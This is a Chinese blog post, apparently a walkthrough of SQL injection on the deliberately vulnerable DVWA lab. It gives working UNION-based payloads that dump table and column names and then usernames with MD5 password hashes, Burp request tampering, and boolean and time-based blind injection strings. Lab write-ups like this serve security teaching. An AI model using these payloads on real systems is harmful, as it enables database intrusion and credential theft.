dvwa靶场之sql注入

sql注入是指通过分析代码,输入字符达到查找数据库中用户信息的一种行为,会导致用户账户的暴露

接下来我们先来分析一下源代码

SELECT first_name, last_name FROM users WHERE user_id = '$id'

其中重点则是上面的这段代码,这是对于数据库的一段查找代码

当我们为$id这个变量赋值时便会带入这段代码对数据库进行查询

我们需要输入1‘和1’#来判断是字符型输入还是数字型输入,1‘出现错误而1’#正常的便是字符型输入

下面我们来获取表

1' union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database() #

我们可以看到guestbook和users两个表

1' union select 1,column_name from information_schema.columns where
table_name='users' and table_schema=database() #
我们就有了接下来的查找的目标即table_name后面添加users

我们便有了这个表里的列,我们可以通过我们的常识知道一个用户的用户名和密码是表中的关键信息即user和password,输入

1' union select user,password from users #

 即得到用户名和密码

其密码通过的md5的加密,通过解密即可

接下来我们说一下medium级别

先从表面看到他限制了我们的输入,只允许我们选择填写,并且源代码中,他运用了mysqli_real_escape_string

这个函数对我们的输入进行了过滤

 这里我们可以使用burp工具将其抓包,修改包中的id再重新发送即可

接下来我们说一下high级别

它在查找代码的最后加了一个limit 1

即当我们查找的一个结果之后就限制我们继续向下查找

我们这里注入运用#号将其注释掉即可

接下来我们讲一下盲注

盲注只会显示是否存在还是不存在

第一种方法就是布尔盲注

根据这张表来进行猜测

整体来说去猜信息
1' and ascii(substr(database(),2,1))>97
dvwa
substr( 查询字符串 , 开始位置 , 长度 )
表的数量 1' and (select count(table_name) from information_schema.tables where
table_schema=database())=0 #
猜表的长度
1' and length(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=1 #
猜第二个表的长度
1' and length(substr((select table_name from information_schema.tables where
table_schema=database() limit 1,1),1))=9 #
limit 第几条数据从 0 开始,查询个数
猜完长度猜表名了
1' and ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=99 #
得到表名后开始猜列个数
1' and (select count(column_name) from information_schema.columns where
table_schema=database() and table_name='users')=8 #
个数猜完猜长度
1' and length(substr((select column_name from information_schema.columns where
table_name= 'users' limit 0,1),1))=7 #
猜字符
1' and ascii(substr((select column_name from information_schema.columns where
table_name='users' and table_schema=database() limit 0,1),1))=117#
..........
最后一直猜出列下的信息
后面数字就是对应图片中的字母
第二种方法是时间盲注
即根据网页加载时间判断是否正确,加载时间长就是正确加载时间短就是错误
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=99,sleep(5),1) #
还有的就是报错注入
通过故意报错,从报错内容中得到我们想要的信息
还有一种是运用sqlmap进行猜解
sqlmap是一种工具,需要在python环境下安装运行,本人没有学过python就不再细说
盲注与有回显的sql注入在各个级别上设置的难关都是一样的,解法也是一样的,就不再细说

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值